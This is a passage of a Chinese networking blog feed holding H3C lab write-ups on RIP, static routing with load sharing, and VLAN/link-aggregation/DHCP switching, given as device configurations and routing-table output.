</div></div><div><div><div>5</div></div><div><span>Destination/Mask   Proto   Pre Cost        NextHop         Interface</span></div></div><div><div><div>6</div></div><div><span>0.0.0.0/32         Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>7</div></div><div><span>1.1.1.1/32         Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>8</div></div><div><span>2.2.2.2/32         </span><mark><span>O_INTRA</span></mark><span> 10  1           100.1.1.2       GE0/0</span></div></div><div><div><div>9</div></div><div><span>3.3.3.3/32         </span><mark><span>O_INTRA</span></mark><span> 10  2           100.1.1.2       GE0/0</span></div></div><div><div><div>10</div></div><div><span>4.4.4.4/32         </span><mark><span>O_INTRA</span></mark><span> 10  1           100.3.3.4       GE0/1</span></div></div><div><div><div>11</div></div><div><span>5.5.5.5/32         </span><mark><span>O_INTER</span></mark><span> 10  3           100.1.1.2       GE0/0</span></div></div><div><div><div>12</div></div><div><span>100.1.1.0/24       Direct  0   0           100.1.1.1       GE0/0</span></div></div><div><div><div>13</div></div><div><span>100.1.1.1/32       Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>14</div></div><div><span>100.1.1.255/32     Direct  0   0           100.1.1.1       GE0/0</span></div></div><div><div><div>15</div></div><div><span>100.2.2.0/24       </span><mark><span>O_INTRA</span></mark><span> 10  2           100.1.1.2       GE0/0</span></div></div><div><div><div>16</div></div><div><span>100.3.3.0/24       Direct  0   0           100.3.3.1       GE0/1</span></div></div><div><div><div>17</div></div><div><span>100.3.3.1/32       Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>18</div></div><div><span>100.3.3.255/32     Direct  0   0           100.3.3.1       GE0/1</span></div></div><div><div><div>19</div></div><div><span>100.4.4.0/24       </span><mark><span>O_INTER</span></mark><span> 10  3           100.1.1.2       GE0/0</span></div></div><div><div><div>20</div></div><div><span>127.0.0.0/8        Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>21</div></div><div><span>127.0.0.1/32       Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>22</div></div><div><span>127.255.255.255/32 Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>23</div></div><div><span>224.0.0.0/4        Direct  0   0           0.0.0.0         NULL0</span></div></div><div><div><div>24</div></div><div><span>224.0.0.0/24       Direct  0   0           0.0.0.0         NULL0</span></div></div><div><div><div>25</div></div><div><span>255.255.255.255/32 Direct  0   0           127.0.0.1       InLoop0</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>说明：可以看到，R1 已经学习到了全网所有网段的路由信息</p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://firefly-569.pages.dev/posts/h3cne-rs/20268281rip-%E5%AE%9E%E9%AA%8C/</id>
      <title type="text">RIP实验</title>
      <published>2026-08-28T01:00:00.000Z</published>
      <updated>2026-08-28T01:00:00.000Z</updated>
      <author><name>Ynm</name></author>
      <link rel="alternate" href="https://firefly-569.pages.dev/posts/h3cne-rs/20268281rip-%E5%AE%9E%E9%AA%8C/"/>
      <summary type="text">在三台路由器（R1、R2、R3）上配置 RIP v2 协议，实现全网路由互通，同时满足路由聚合、静默接口和接口认证等要求。</summary>
      <content type="html"><![CDATA[<section><h3>实验拓扑<a href="#实验拓扑"><span>#</span></a></h3><p><img alt="" loading="lazy" width="1396" height="602" src="/_astro/Pasted%20image%2020260828105325.DquUOHPS_Zhh6QW.webp" /></p></section>
<section><h3>实验需求<a href="#实验需求"><span>#</span></a></h3><ol>
<li>按照图示配置 IP 地址</li>
<li>配置 RIP 实现全网路由互通</li>
<li>要求全网路由器不能出现明细路由（直连网段除外），不影响网络正常访问</li>
<li>业务网段不允许出现协议报文</li>
<li>R1 和 R2 之间需要开启接口身份验证来保证协议安全性，密钥为 <code>runtime</code></li>
</ol></section>
<section><h3>配置步骤<a href="#配置步骤"><span>#</span></a></h3><section><h4>1.配置 IP 地址<a href="#1配置-ip-地址"><span>#</span></a></h4><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>路由器1的配置如下：</span></div></div><div><div><div>2</div></div><div><span>int g0/0</span></div></div><div><div><div>3</div></div><div><span>ip add 192.168.1.1 24</span></div></div><div><div><div>4</div></div><div><span>int g0/1</span></div></div><div><div><div>5</div></div><div><span>ip add 172.16.0.1 24</span></div></div><div><div><div>6</div></div><div><span>int g0/2</span></div></div><div><div><div>7</div></div><div><span>ip add 172.16.1.1 24</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>路由器2的配置如下：</span></div></div><div><div><div>10</div></div><div><span>int g0/0</span></div></div><div><div><div>11</div></div><div><span>ip add 192.168.1.2 24</span></div></div><div><div><div>12</div></div><div><span>int g0/1</span></div></div><div><div><div>13</div></div><div><span>ip add 192.168.2.2 24</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>路由器3的配置如下：</span></div></div><div><div><div>16</div></div><div><span>int g0/0</span></div></div><div><div><div>17</div></div><div><span>ip add 192.168.2.3 24</span></div></div><div><div><div>18</div></div><div><span>int g0/1</span></div></div><div><div><div>19</div></div><div><span>ip add 172.16.2.3 24</span></div></div><div><div><div>20</div></div><div><span>int g0/2</span></div></div><div><div><div>21</div></div><div><span>ip add 172.16.3.3 24</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h4>2.配置 RIP 实现全网路由互通<a href="#2配置-rip-实现全网路由互通"><span>#</span></a></h4><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>路由器1的配置如下：</span></div></div><div><div><div>2</div></div><div><span>rip 1</span></div></div><div><div><div>3</div></div><div><span>version 2</span></div></div><div><div><div>4</div></div><div><span>undo summary</span></div></div><div><div><div>5</div></div><div><span>network 172.16.0.0</span></div></div><div><div><div>6</div></div><div><span>network 192.168.1.0</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>路由器2的配置如下：</span></div></div><div><div><div>9</div></div><div><span>rip 1</span></div></div><div><div><div>10</div></div><div><span>version 2</span></div></div><div><div><div>11</div></div><div><span>undo summary</span></div></div><div><div><div>12</div></div><div><span>network 192.168.1.0</span></div></div><div><div><div>13</div></div><div><span>network 192.168.2.0</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>路由器3的配置如下：</span></div></div><div><div><div>16</div></div><div><span>rip 1</span></div></div><div><div><div>17</div></div><div><span>version 2</span></div></div><div><div><div>18</div></div><div><span>undo summary</span></div></div><div><div><div>19</div></div><div><span>network 172.16.0.0</span></div></div><div><div><div>20</div></div><div><span>network 192.168.2.0</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h4>3.要求全网路由器不能出现明细路由（直连网段除外），不影响网络正常访问<a href="#3要求全网路由器不能出现明细路由直连网段除外不影响网络正常访问"><span>#</span></a></h4><p>步骤 1：在 AR1 的 g0/0 接口配置手动路由聚合</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>int g0/0</span></div></div><div><div><div>2</div></div><div><span>rip summary-address 172.16.0.0 23</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>步骤 2：在 AR3 的 g0/0 接口配置手动路由聚合</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>int g0/0</span></div></div><div><div><div>2</div></div><div><span>rip summary-address 172.16.2.0 23</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>步骤 3：在 R2 上查看路由表，发现学习到的是 R1 和 R3 发布的聚合路由</p><blockquote><p>注意：基于 RIP 的工作原理，旧的明细路由需要一定时间延迟才会从路由表中彻底删除</p></blockquote><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[AR2]display ip routing-table</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>Destinations : 15       Routes : 15</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>Destination/Mask   Proto   Pre Cost        NextHop         Interface</span></div></div><div><div><div>6</div></div><div><span>0.0.0.0/32         Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>7</div></div><div><span>127.0.0.0/8        Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>8</div></div><div><span>127.0.0.1/32       Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>9</div></div><div><span>127.255.255.255/32 Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>10</div></div><div><span>172.16.0.0/23      RIP     100 1           192.168.1.1     GE0/0</span></div></div><div><div><div>11</div></div><div><span>172.16.2.0/23      RIP     100 1           192.168.2.3     GE0/1</span></div></div><div><div><div>12</div></div><div><span>192.168.1.0/24     Direct  0   0           192.168.1.2     GE0/0</span></div></div><div><div><div>13</div></div><div><span>192.168.1.2/32     Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>14</div></div><div><span>192.168.1.255/32   Direct  0   0           192.168.1.2     GE0/0</span></div></div><div><div><div>15</div></div><div><span>192.168.2.0/24     Direct  0   0           192.168.2.2     GE0/1</span></div></div><div><div><div>16</div></div><div><span>192.168.2.2/32     Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>17</div></div><div><span>192.168.2.255/32   Direct  0   0           192.168.2.2     GE0/1</span></div></div><div><div><div>18</div></div><div><span>224.0.0.0/4        Direct  0   0           0.0.0.0         NULL0</span></div></div><div><div><div>19</div></div><div><span>224.0.0.0/24       Direct  0   0           0.0.0.0         NULL0</span></div></div><div><div><div>20</div></div><div><span>255.255.255.255/32 Direct  0   0           127.0.0.1       InLoop0</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h4>4.业务网段不允许出现协议报文<a href="#4业务网段不允许出现协议报文"><span>#</span></a></h4><p><strong>分析：</strong> 基于 network 命令的两层含义，R1 和 R3 对直连的业务网段进行宣告后，会往该网段发送 RIP 的协议报文。这些协议报文是完全没有意义的，还会消耗网络带宽，所以需要配置静默接口
　　
步骤 1：把 AR1 连接业务网段的 g0/1 和 g0/2 接口配置为静默接口</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>rip 1</span></div></div><div><div><div>2</div></div><div><span>silent-interface g0/1</span></div></div><div><div><div>3</div></div><div><span>silent-interface g0/2</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>步骤 2：把 AR3 连接业务网段的 g0/1 和 g0/2 接口配置为静默接口</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>rip 1</span></div></div><div><div><div>2</div></div><div><span>silent-interface g0/1</span></div></div><div><div><div>3</div></div><div><span>silent-interface g0/2</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>5.R1 和 R2 之间需要开启接口身份验证来保证协议安全性，密钥为 runtime<a href="#5r1-和-r2-之间需要开启接口身份验证来保证协议安全性密钥为-runtime"><span>#</span></a></h4><p>步骤 1：在 AR1 的 g0/0 接口配置接口验证，密钥 runtime</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>int g0/0</span></div></div><div><div><div>2</div></div><div><span>rip authentication-mode simple plain runtime</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>步骤 2：在 AR2 的 g0/0 接口配置接口验证，密钥必须和 R1 一致</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>int g0/0</span></div></div><div><div><div>2</div></div><div><span>rip authentication-mode simple plain runtime</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>说明：通过重置 RIP 进程观察是否能够学习到路由来判断接口验证是否通过</p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://firefly-569.pages.dev/posts/h3cne-rs/20268272%E9%9D%99%E6%80%81%E8%B7%AF%E7%94%B1%E5%AE%9E%E9%AA%8C/</id>
      <title type="text">静态路由实验</title>
      <published>2026-08-27T04:00:00.000Z</published>
      <updated>2026-08-27T04:00:00.000Z</updated>
      <author><name>Ynm</name></author>
      <link rel="alternate" href="https://firefly-569.pages.dev/posts/h3cne-rs/20268272%E9%9D%99%E6%80%81%E8%B7%AF%E7%94%B1%E5%AE%9E%E9%AA%8C/"/>
      <summary type="text">静态路由综合实验，涵盖等价路由（ECMP）思想，实现三台终端网段192.168.1.0/24、192.168.2.0/24、192.168.3.0/24全网互通。</summary>
      <content type="html"><![CDATA[<section><h3>实验拓扑<a href="#实验拓扑"><span>#</span></a></h3><p><img alt="" loading="lazy" width="1161" height="750" src="/_astro/Pasted%20image%2020260827160331.BJ4v2X1x_Z2gRwHR.webp" /></p></section>
<section><h3>实验需求<a href="#实验需求"><span>#</span></a></h3><ol>
<li>按照图示配置 IP 地址</li>
<li>按照如下路径规划配置静态路由，实现连接 PC 的业务网段互通
<ol>
<li><code>192.168.1.0/24</code> 网段到达 <code>192.168.2.0/24</code> 网段经过 R1，R2，R3</li>
<li><code>192.168.2.0/24</code> 网段到达 <code>192.168.1.0/24</code> 网段经过 R3，R4，R1</li>
<li><code>192.168.1.0/24</code> 网段到达 <code>192.168.3.0/24</code> 网段经过 R1，R4，R5</li>
<li><code>192.168.2.0/24</code> 网段到达 <code>192.168.3.0/24</code> 网段经过 R3，R4，R5</li>
<li><code>192.168.3.0/24</code> 网段到达 <code>192.168.1.0/24</code> 网段和 <code>192.168.2.0/24</code> 网段的路由来回一致</li>
<li>R5 上不允许出现到达其他业务网段的明细路由</li>
<li>所有经过 R4 和 R5 的流量通过等价路由实现负载分担</li>
</ol>
</li>
</ol></section>
<section><h3>配置步骤<a href="#配置步骤"><span>#</span></a></h3><section><h4>1.配置 IP 地址<a href="#1配置-ip-地址"><span>#</span></a></h4><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>路由器1的配置如下：</span></div></div><div><div><div>2</div></div><div><span>int g0/0</span></div></div><div><div><div>3</div></div><div><span>ip add 10.2.2.1 24</span></div></div><div><div><div>4</div></div><div><span>int g0/1</span></div></div><div><div><div>5</div></div><div><span>ip add 10.1.1.1 24</span></div></div><div><div><div>6</div></div><div><span>int g0/2</span></div></div><div><div><div>7</div></div><div><span>ip add 192.168.1.1 24</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>路由器2的配置如下：</span></div></div><div><div><div>10</div></div><div><span>int g0/0</span></div></div><div><div><div>11</div></div><div><span>ip add 10.2.2.2 24</span></div></div><div><div><div>12</div></div><div><span>int g0/1</span></div></div><div><div><div>13</div></div><div><span>ip add 10.3.3.2 24</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>路由器3的配置如下：</span></div></div><div><div><div>16</div></div><div><span>int g0/0</span></div></div><div><div><div>17</div></div><div><span>ip add 10.3.3.3 24</span></div></div><div><div><div>18</div></div><div><span>int g0/1</span></div></div><div><div><div>19</div></div><div><span>ip add 10.4.4.3 24</span></div></div><div><div><div>20</div></div><div><span>int g0/2</span></div></div><div><div><div>21</div></div><div><span>ip add 192.168.2.3 24</span></div></div><div><div><div>22</div></div><div>
</div></div><div><div><div>23</div></div><div><span>路由器4的配置如下：</span></div></div><div><div><div>24</div></div><div><span>int g0/0</span></div></div><div><div><div>25</div></div><div><span>ip add 10.1.1.4 24</span></div></div><div><div><div>26</div></div><div><span>int g0/1</span></div></div><div><div><div>27</div></div><div><span>ip add 10.4.4.4 24</span></div></div><div><div><div>28</div></div><div><span>int g0/2</span></div></div><div><div><div>29</div></div><div><span>ip add 10.6.6.4 24</span></div></div><div><div><div>30</div></div><div><span>int g5/0</span></div></div><div><div><div>31</div></div><div><span>ip add 10.5.5.4 24</span></div></div><div><div><div>32</div></div><div>
</div></div><div><div><div>33</div></div><div><span>路由器5的配置如下：</span></div></div><div><div><div>34</div></div><div><span>int g0/0</span></div></div><div><div><div>35</div></div><div><span>ip add 10.6.6.5 24</span></div></div><div><div><div>36</div></div><div><span>int g0/1</span></div></div><div><div><div>37</div></div><div><span>ip add 10.5.5.5 24</span></div></div><div><div><div>38</div></div><div><span>int g0/2</span></div></div><div><div><div>39</div></div><div><span>ip add 192.168.3.5 24</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h4>2.按照需求配置静态路由，实现连接 PC 的业务网段互通<a href="#2按照需求配置静态路由实现连接-pc-的业务网段互通"><span>#</span></a></h4><p>步骤 1：配置 192.168.1.0/24 网段到 192.168.2.0 网段的静态路由</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[R1]ip route-static 192.168.2.0 24 10.2.2.2</span></div></div><div><div><div>2</div></div><div><span>[R2]ip route-static 192.168.2.0 24 10.3.3.3</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>步骤 2：配置 192.168.2.0/24 网段到 192.168.1.0 网段的静态路由</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[R3]ip route-static 192.168.1.0 24 10.4.4.4</span></div></div><div><div><div>2</div></div><div><span>[R4]ip route-static 192.168.1.0 24 10.1.1.1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>步骤 3：配置 192.168.1.0/24 网段到 192.168.3.0 网段的静态路由</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[R1]ip route-static 192.168.3.0 24 10.1.1.4</span></div></div><div><div><div>2</div></div><div><span>[R4]ip route-static 192.168.3.0 24 10.5.5.5</span></div></div><div><div><div>3</div></div><div><span>[R4]ip route-static 192.168.3.0 24 10.6.6.5</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>步骤 4：配置 192.168.2.0/24 网段到 192.168.3.0 网段的静态路由</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[R3]ip route-static 192.168.3.0 24 10.4.4.4</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>步骤 5：配置 192.168.3.0/24 网段到 192.168.1.0 网段的静态路由</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[R5]ip route-static 0.0.0.0 0 10.5.5.4</span></div></div><div><div><div>2</div></div><div><span>[R5]ip route-static 0.0.0.0 0 10.6.6.4</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>步骤 6：配置 192.168.3.0/24 网段到 192.168.2.0 网段的静态路由</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[R4]ip route-static 192.168.2.0 24 10.4.4.3</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>
<section><h3>结果验证<a href="#结果验证"><span>#</span></a></h3><p>让三台PC互ping，发现都能ping通。
<img alt="" loading="lazy" width="1441" height="811" src="/_astro/Pasted%20image%2020260827160118.DD0S5mrr_Z2k8gE2.webp" /></p><p><img alt="" loading="lazy" width="1444" height="811" src="/_astro/Pasted%20image%2020260827160212.xniBqLi__2w2Ef7.webp" /></p><p><img alt="" loading="lazy" width="1444" height="811" src="/_astro/Pasted%20image%2020260827160251.Cpj1-2vr_Z1xrcfM.webp" /></p></section>]]></content>
    </entry>
    <entry>
      <id>https://firefly-569.pages.dev/posts/h3cne-rs/20268271%E4%BA%A4%E6%8D%A2%E9%83%A8%E5%88%86%E7%BB%BC%E5%90%88%E5%AE%9E%E9%AA%8C/</id>
      <title type="text">交换部分综合实验</title>
      <published>2026-08-27T01:00:00.000Z</published>
      <updated>2026-08-27T01:00:00.000Z</updated>
      <author><name>Ynm</name></author>
      <link rel="alternate" href="https://firefly-569.pages.dev/posts/h3cne-rs/20268271%E4%BA%A4%E6%8D%A2%E9%83%A8%E5%88%86%E7%BB%BC%E5%90%88%E5%AE%9E%E9%AA%8C/"/>
      <summary type="text">本次实验涵盖H3C交换综合配置，包含VLAN划分、链路聚合（Bridge-Aggregation）、STP边缘端口优化、单臂路由及DHCP动态地址分配，旨在实现跨VLAN全网互通与冗余链路保障。</summary>
      <content type="html"><![CDATA[<section><h3>实验拓扑<a href="#实验拓扑"><span>#</span></a></h3><p><img alt="" loading="lazy" width="1181" height="787" src="/_astro/QQ_1787799324641.CGlVwdRm_Z2oh01K.webp" /></p></section>
<section><h3>实验需求<a href="#实验需求"><span>#</span></a></h3><ol>
<li>全网VLAN划分：VLAN 10、VLAN 20</li>
<li>交换机间链路聚合，提高冗余和带宽</li>
<li>启用STP，边缘端口加速终端接入</li>
<li>路由器AR1做单臂路由 + DHCP服务器，为VLAN 10/20分配地址</li>
<li>路由器AR2做单臂路由，作为VLAN 10/20的网关</li>
<li>实现所有终端互通（包括跨VLAN通信）</li>
</ol></section>
<section><h3>配置步骤<a href="#配置步骤"><span>#</span></a></h3><section><h4>1.配置链路聚合<a href="#1配置链路聚合"><span>#</span></a></h4><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>交换机3的配置：</span></div></div><div><div><div>2</div></div><div><span>interface Bridge-Aggregation 1</span></div></div><div><div><div>3</div></div><div><span>interface g1/0/1</span></div></div><div><div><div>4</div></div><div><span>port link-aggregation group 1</span></div></div><div><div><div>5</div></div><div><span>interface g1/0/2</span></div></div><div><div><div>6</div></div><div><span>port link-aggregation group 1</span></div></div><div><div><div>7</div></div><div><span>quit</span></div></div><div><div><div>8</div></div><div><span>interface Bridge-Aggregation 1</span></div></div><div><div><div>9</div></div><div><span>port link-type trunk</span></div></div><div><div><div>10</div></div><div><span>port trunk permit vlan all</span></div></div><div><div><div>11</div></div><div><span>quit</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span>交换机2的配置：</span></div></div><div><div><div>14</div></div><div><span>interface Bridge-Aggregation 1</span></div></div><div><div><div>15</div></div><div><span>interface g1/0/1</span></div></div><div><div><div>16</div></div><div><span>port link-aggregation group 1</span></div></div><div><div><div>17</div></div><div><span>interface g1/0/2</span></div></div><div><div><div>18</div></div><div><span>port link-aggregation group 1</span></div></div><div><div><div>19</div></div><div><span>quit</span></div></div><div><div><div>20</div></div><div><span>interface Bridge-Aggregation 1</span></div></div><div><div><div>21</div></div><div><span>port link-type trunk</span></div></div><div><div><div>22</div></div><div><span>port trunk permit vlan all</span></div></div><div><div><div>23</div></div><div><span>quit</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h4>2.配置VLAN<a href="#2配置vlan"><span>#</span></a></h4><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>交换机1的配置：</span></div></div><div><div><div>2</div></div><div><span>vlan 10</span></div></div><div><div><div>3</div></div><div><span>vlan 20</span></div></div><div><div><div>4</div></div><div><span>quit</span></div></div><div><div><div>5</div></div><div><span>int range g1/0/1 to g1/0/4</span></div></div><div><div><div>6</div></div><div><span>port link-type trunk</span></div></div><div><div><div>7</div></div><div><span>port trunk permit vlan 10 20</span></div></div><div><div><div>8</div></div><div><span>quit</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>交换机2的配置：</span></div></div><div><div><div>11</div></div><div><span>vlan 10</span></div></div><div><div><div>12</div></div><div><span>port g1/0/4</span></div></div><div><div><div>13</div></div><div><span>vlan 20</span></div></div><div><div><div>14</div></div><div><span>quit</span></div></div><div><div><div>15</div></div><div><span>int g1/0/3</span></div></div><div><div><div>16</div></div><div><span>port link-type trunk</span></div></div><div><div><div>17</div></div><div><span>port trunk permit vlan 10 20</span></div></div><div><div><div>18</div></div><div><span>quit</span></div></div><div><div><div>19</div></div><div>
</div></div><div><div><div>20</div></div><div><span>交换机3的配置：</span></div></div><div><div><div>21</div></div><div><span>vlan 20</span></div></div><div><div><div>22</div></div><div><span>port g1/0/4</span></div></div><div><div><div>23</div></div><div><span>vlan 10</span></div></div><div><div><div>24</div></div><div><span>quit</span></div></div><div><div><div>25</div></div><div><span>int g1/0/3</span></div></div><div><div><div>26</div></div><div><span>port link-type trunk</span></div></div><div><div><div>27</div></div><div><span>port trunk permit vlan 10 20</span></div></div><div><div><div>28</div></div><div><span>quit</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h4>3.STP配置<a href="#3stp配置"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>交换机2的配置：</span></div></div><div><div><div>2</div></div><div><span>int g1/0/4</span></div></div><div><div><div>3</div></div><div><span>stp edged-port</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>交换机3的配置：</span></div></div><div><div><div>6</div></div><div><span>int g1/0/4</span></div></div><div><div><div>7</div></div><div><span>stp edged-port</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>4.配置AR1的DHCP和单臂路由<a href="#4配置ar1的dhcp和单臂路由"><span>#</span></a></h4><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>路由器1的配置如下：</span></div></div><div><div><div>2</div></div><div><span>interface g0/0.1</span></div></div><div><div><div>3</div></div><div><span>vlan-type dot1q vid 10</span></div></div><div><div><div>4</div></div><div><span>ip address 192.168.1.100 24</span></div></div><div><div><div>5</div></div><div><span>quit</span></div></div><div><div><div>6</div></div><div><span>interface g0/0.2</span></div></div><div><div><div>7</div></div><div><span>vlan-type dot1q vid 20</span></div></div><div><div><div>8</div></div><div><span>ip address 192.168.2.100 24</span></div></div><div><div><div>9</div></div><div><span>quit</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>dhcp enable</span></div></div><div><div><div>12</div></div><div><span>dhcp server forbidden-ip 192.168.1.254</span></div></div><div><div><div>13</div></div><div><span>dhcp server forbidden-ip 192.168.2.254</span></div></div><div><div><div>14</div></div><div><span>dhcp server forbidden-ip 192.168.1.100</span></div></div><div><div><div>15</div></div><div><span>dhcp server forbidden-ip 192.168.2.100</span></div></div><div><div><div>16</div></div><div><span>dhcp server ip-pool 1</span></div></div><div><div><div>17</div></div><div><span>network 192.168.1.0 mask 255.255.255.0</span></div></div><div><div><div>18</div></div><div><span>gateway-list 192.168.1.254</span></div></div><div><div><div>19</div></div><div><span>quit</span></div></div><div><div><div>20</div></div><div><span>dhcp server ip-pool 2</span></div></div><div><div><div>21</div></div><div><span>network 192.168.2.0 mask 255.255.255.0</span></div></div><div><div><div>22</div></div><div><span>gateway-list 192.168.2.254</span></div></div><div><div><div>23</div></div><div><span>quit</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h4>5.配置AR2的单臂路由<a href="#5配置ar2的单臂路由"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>路由器2的配置如下：</span></div></div><div><div><div>2</div></div><div><span>interface g0/0.1</span></div></div><div><div><div>3</div></div><div><span>vlan-type dot1q vid 10</span></div></div><div><div><div>4</div></div><div><span>ip address 192.168.1.254 24</span></div></div><div><div><div>5</div></div><div><span>quit</span></div></div><div><div><div>6</div></div><div><span>interface g0/0.2</span></div></div><div><div><div>7</div></div><div><span>vlan-type dot1q vid 20</span></div></div><div><div><div>8</div></div><div><span>ip address 192.168.2.254 24</span></div></div><div><div><div>9</div></div><div><span>quit</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>6.结果验证<a href="#6结果验证"><span>#</span></a></h4><p><strong>链路聚合状态验证：</strong> 使用display link-aggregation verbose命令查看交换机2和3的链路聚合情况</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[SW2]display link-aggregation verbose</span></div></div><div><div><div>2</div></div><div><span>Loadsharing Type: Shar -- Loadsharing, NonS -- Non-Loadsharing</span></div></div><div><div><div>3</div></div><div><span>Port: A -- Auto</span></div></div><div><div><div>4</div></div><div><span>Port Status: S -- Selected, U -- Unselected, I -- Individual</span></div></div><div><div><div>5</div></div><div><span>Flags:  A -- LACP_Activity, B -- LACP_Timeout, C -- Aggregation,</span></div></div><div><div><div>6</div></div><div><span><span>        </span></span><span>D -- Synchronization, E -- Collecting, F -- Distributing,</span></div></div><div><div><div>7</div></div><div><span><span>        </span></span><span>G -- Defaulted, H -- Expired</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>Aggregate Interface: Bridge-Aggregation1</span></div></div><div><div><div>10</div></div><div><span>Aggregation Mode: Static</span></div></div><div><div><div>11</div></div><div><span>Loadsharing Type: Shar</span></div></div><div><div><div>12</div></div><div><span><span>  </span></span><span>Port             Status  Priority Oper-Key</span></div></div><div><div><div>13</div></div><div><span>--------------------------------------------------------------------------------</span></div></div><div><div><div>14</div></div><div><span><span>  </span></span><span>GE1/0/1          S       32768    1</span></div></div><div><div><div>15</div></div><div><span><span>  </span></span><span>GE1/0/2          S       32768    1</span></div></div><div><div><div>16</div></div><div>
</div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div>
</div></div><div><div><div>19</div></div><div><span>[SW3]dis link-aggregation verbose</span></div></div><div><div><div>20</div></div><div><span>Loadsharing Type: Shar -- Loadsharing, NonS -- Non-Loadsharing</span></div></div><div><div><div>21</div></div><div><span>Port: A -- Auto</span></div></div><div><div><div>22</div></div><div><span>Port Status: S -- Selected, U -- Unselected, I -- Individual</span></div></div><div><div><div>23</div></div><div><span>Flags:  A -- LACP_Activity, B -- LACP_Timeout, C -- Aggregation,</span></div></div><div><div><div>24</div></div><div><span><span>        </span></span><span>D -- Synchronization, E -- Collecting, F -- Distributing,</span></div></div><div><div><div>25</div></div><div><span><span>        </span></span><span>G -- Defaulted, H -- Expired</span></div></div><div><div><div>26</div></div><div>
